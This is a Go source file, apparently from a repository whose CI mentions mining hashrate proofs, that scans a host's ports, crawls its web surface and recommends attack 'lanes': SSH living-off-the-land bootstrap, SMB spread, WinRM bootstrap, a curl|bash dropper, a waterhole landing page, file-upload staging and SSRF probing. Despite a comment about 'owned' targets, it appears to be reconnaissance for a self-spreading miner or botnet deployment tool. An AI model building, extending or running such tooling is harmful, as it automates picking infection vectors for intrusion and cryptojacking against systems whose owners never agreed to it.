Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Parse technology stack from crawl headers, grab SSH/HTTP/WinRM banners, merge smart port bundles with FleetPorts, and suggest deploy-kit lane plus SSM for EC2 metadata targets.
153 lines
7.5 KiB
Go
153 lines
7.5 KiB
Go
package recon
|
||
|
||
import (
|
||
"fmt"
|
||
"net"
|
||
"strings"
|
||
"time"
|
||
)
|
||
|
||
// Scan runs port scan and optional web crawl for an operator-supplied owned target.
|
||
func Scan(req ScanRequest) (*ScanReport, error) {
|
||
host, err := normalizeOwnedHost(req.Host)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
ports := ScanPorts(host)
|
||
report := &ScanReport{
|
||
Host: host,
|
||
ScannedAt: time.Now().UTC(),
|
||
Ports: ports,
|
||
}
|
||
|
||
if shouldCrawl(req, ports) {
|
||
crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths)
|
||
if err == nil && crawl != nil {
|
||
report.Crawl = crawl
|
||
}
|
||
}
|
||
report.Recommendations = BuildRecommendations(ports, report.Crawl)
|
||
return report, nil
|
||
}
|
||
|
||
func normalizeOwnedHost(host string) (string, error) {
|
||
host = strings.TrimSpace(host)
|
||
if host == "" {
|
||
return "", fmt.Errorf("host required")
|
||
}
|
||
host = strings.TrimPrefix(host, "http://")
|
||
host = strings.TrimPrefix(host, "https://")
|
||
if i := strings.Index(host, "/"); i >= 0 {
|
||
host = host[:i]
|
||
}
|
||
if h, p, err := net.SplitHostPort(host); err == nil {
|
||
if strings.TrimSpace(h) == "" {
|
||
return "", fmt.Errorf("invalid host")
|
||
}
|
||
_ = p
|
||
host = h
|
||
}
|
||
if ip := net.ParseIP(host); ip != nil {
|
||
return ip.String(), nil
|
||
}
|
||
if len(host) > 253 || strings.Contains(host, " ") {
|
||
return "", fmt.Errorf("invalid host")
|
||
}
|
||
return strings.ToLower(host), nil
|
||
}
|
||
|
||
func shouldCrawl(req ScanRequest, ports []PortResult) bool {
|
||
if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 {
|
||
return true
|
||
}
|
||
for _, p := range ports {
|
||
switch p.Port {
|
||
case 80, 443, 8080, 8443:
|
||
if p.Open {
|
||
return true
|
||
}
|
||
}
|
||
}
|
||
return false
|
||
}
|
||
|
||
// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates.
|
||
func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation {
|
||
var recs []DeployRecommendation
|
||
open := map[int]bool{}
|
||
for _, p := range ports {
|
||
if p.Open {
|
||
open[p.Port] = true
|
||
}
|
||
}
|
||
|
||
if open[22] {
|
||
recs = append(recs, DeployRecommendation{
|
||
Lane: "linux_lotl",
|
||
Template: "linux-lotl",
|
||
Reason: "TCP 22 open ΓÇö SSH LOTL bootstrap",
|
||
Priority: 25,
|
||
})
|
||
}
|
||
if open[445] {
|
||
recs = append(recs, DeployRecommendation{
|
||
Lane: "spread_smb_unc",
|
||
Reason: "TCP 445 open ΓÇö SMB UNC spread",
|
||
Priority: 50,
|
||
})
|
||
}
|
||
if open[5985] || open[5986] {
|
||
recs = append(recs, DeployRecommendation{
|
||
Lane: "winrm",
|
||
Template: "winrm",
|
||
Reason: "TCP 5985/5986 open ΓÇö WinRM bootstrap",
|
||
Priority: 30,
|
||
})
|
||
}
|
||
if open[80] || open[443] || open[8080] || open[8443] {
|
||
recs = append(recs, DeployRecommendation{
|
||
Lane: "bits_curl",
|
||
Reason: "HTTP surface open ΓÇö dropper curl|bash one-liner",
|
||
Priority: 20,
|
||
})
|
||
recs = append(recs, DeployRecommendation{
|
||
Template: "public_waterhole",
|
||
Reason: "HTTP surface open ΓÇö copy /spread/ public waterhole landing",
|
||
Priority: 15,
|
||
})
|
||
}
|
||
|
||
if crawl != nil {
|
||
if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 {
|
||
recs = append(recs, DeployRecommendation{
|
||
Lane: "stage_fetch",
|
||
Reason: "Multipart or file-upload form ΓÇö stage_fetch manifest staging",
|
||
Priority: 35,
|
||
})
|
||
}
|
||
if crawl.SSRFScore >= 30 {
|
||
recs = append(recs, DeployRecommendation{
|
||
Template: "ssrf_probe",
|
||
Reason: fmt.Sprintf("SSRF candidate score %d ΓÇö probe URL/webhook fields", crawl.SSRFScore),
|
||
Priority: 45,
|
||
})
|
||
}
|
||
}
|
||
|
||
return dedupeRecommendations(recs)
|
||
}
|
||
|
||
func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation {
|
||
seen := map[string]bool{}
|
||
var out []DeployRecommendation
|
||
for _, r := range in {
|
||
key := r.Lane + "|" + r.Template
|
||
if seen[key] {
|
||
continue
|
||
}
|
||
seen[key] = true
|
||
out = append(out, r)
|
||
}
|
||
return out
|
||
}
|